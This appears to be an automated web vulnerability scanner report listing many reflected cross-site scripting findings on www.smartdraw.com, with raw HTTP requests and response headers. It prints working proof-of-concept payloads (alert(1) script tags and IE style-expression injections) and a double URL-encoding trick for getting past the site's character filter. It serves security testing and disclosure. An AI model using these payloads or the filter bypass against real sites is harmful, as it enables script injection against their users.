The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /downloads/x22ba1e3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229c5fd0e07db HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=jpp44c45no3vndyg0eiqfdaq; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.147. http://www.smartdraw.com/downloads/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/downloads/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c9a5"style%3d"x%3aexpression(alert(1))"c2aa39074d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5c9a5"style="x:expression(alert(1))"c2aa39074d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads/x22?5c9a5"style%3d"x%3aexpression(alert(1))"c2aa39074d2=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:43 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:43 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ssgwag55ef2suzf5q24jnl45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8795 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.148. http://www.smartdraw.com/downloads/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/downloads/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43ce2"style%3d"x%3aexpression(alert(1))"09bdff38fc4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 43ce2"style="x:expression(alert(1))"09bdff38fc4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads/x22?43ce2"style%3d"x%3aexpression(alert(1))"09bdff38fc4=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:41 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:41 GMT; path=/ Set-Cookie: ASP.NET_SessionId=tew4y345qibicu55t1rjfuqe; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8795 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94da6%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522861bf406f44 was submitted in the REST URL parameter 1. This input was echoed as 94da6"style="x:expression(alert(1))"861bf406f44 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /94da6%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522861bf406f44/charts/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: ASP.NET_SessionId=3yzxhc55ehds33jqb4uatink; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8760 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a48df%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d7925e086c3 was submitted in the REST URL parameter 1. This input was echoed as a48df"style="x:expression(alert(1))"d7925e086c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /examplesa48df%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d7925e086c3/charts/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:05 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:05 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ty0lqe55q5mcnibk2sdorqzz; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8816 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a543%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ac716871498 was submitted in the REST URL parameter 1. This input was echoed as 4a543"style="x:expression(alert(1))"ac716871498 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /4a543%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ac716871498/reviews HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:31 GMT Content-Length: 8739 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: ASP.NET_SessionId=3c4tc255quiohy55truamgmu; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bfab%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522fd877cbaba1 was submitted in the REST URL parameter 1. This input was echoed as 7bfab"style="x:expression(alert(1))"fd877cbaba1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product7bfab%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522fd877cbaba1/reviews HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:27 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:27 GMT; path=/ Set-Cookie: ASP.NET_SessionId=irozqj45lpljwj55wgoccn55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8788 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc399%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaa008f34339 was submitted in the REST URL parameter 1. This input was echoed as cc399"><script>alert(1)</script>aa008f34339 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cc399%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaa008f34339/reviews?id=349540/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:45 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:45 GMT; path=/ Set-Cookie: ASP.NET_SessionId=0vufwvz10dn1v0up3yasccey; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8900 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7aea0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec7ddeeb9a3d was submitted in the REST URL parameter 1. This input was echoed as 7aea0"><script>alert(1)</script>c7ddeeb9a3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product7aea0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec7ddeeb9a3d/reviews?id=349540/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:43 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:43 GMT; path=/ Set-Cookie: ASP.NET_SessionId=1fckz3ilanwcrr45tvw5eu55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8949 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5bf0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7aeb62331a was submitted in the REST URL parameter 2. This input was echoed as f5bf0"><script>alert(1)</script>a7aeb62331a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/reviewsf5bf0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7aeb62331a?id=349540/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: ASP.NET_SessionId=b4ntfe451a35d0z3actuq255; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8949 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bd2b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522f1b2d917b08 was submitted in the REST URL parameter 2. This input was echoed as 6bd2b"style="x:expression(alert(1))"f1b2d917b08 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/reviews6bd2b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522f1b2d917b08 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:36 GMT Content-Length: 8788 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:36 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:36 GMT; path=/ Set-Cookie: ASP.NET_SessionId=sktfbrnh1dtwviaawiverx45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:36 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96803%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edfbbf862323 was submitted in the REST URL parameter 2. This input was echoed as 96803"><script>alert(1)</script>dfbbf862323 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/96803%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edfbbf862323?id=349540/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:51 GMT Content-Length: 8900 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:51 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:51 GMT; path=/ Set-Cookie: ASP.NET_SessionId=smkoxh55k01vvq55ighs2efj; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:51 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a75f4%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224417cefb817 was submitted in the REST URL parameter 2. This input was echoed as a75f4"style="x:expression(alert(1))"4417cefb817 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/a75f4%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224417cefb817 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:39 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:39 GMT; path=/ Set-Cookie: ASP.NET_SessionId=fv4eqq55u13gyheum3ewifj0; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8739 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74b82"><script>alert(1)</script>2e1c8977753 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/reviews?id=74b82"><script>alert(1)</script>2e1c8977753 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5812"><script>alert(1)</script>d208eaaaa24 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/reviews?id=349540/x22/x3eSmartDrawc5812"><script>alert(1)</script>d208eaaaa24 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.161. http://www.smartdraw.com/product/reviews [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/product/reviews
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2401f"><script>alert(1)</script>0614465aa10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/reviews?2401f"><script>alert(1)</script>0614465aa10=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.162. http://www.smartdraw.com/product/reviews [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/product/reviews
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dadb8"><script>alert(1)</script>9e1a39efb8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/reviews?dadb8"><script>alert(1)</script>9e1a39efb8f=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6214%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522a8713ae88e0 was submitted in the REST URL parameter 1. This input was echoed as a6214"style="x:expression(alert(1))"a8713ae88e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /a6214%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522a8713ae88e0/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: ASP.NET_SessionId=g5orivnknoeu3mnalqm5ky2h; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8711 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c202c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221983cde1eb1 was submitted in the REST URL parameter 1. This input was echoed as c202c"style="x:expression(alert(1))"1983cde1eb1 in the application's response.
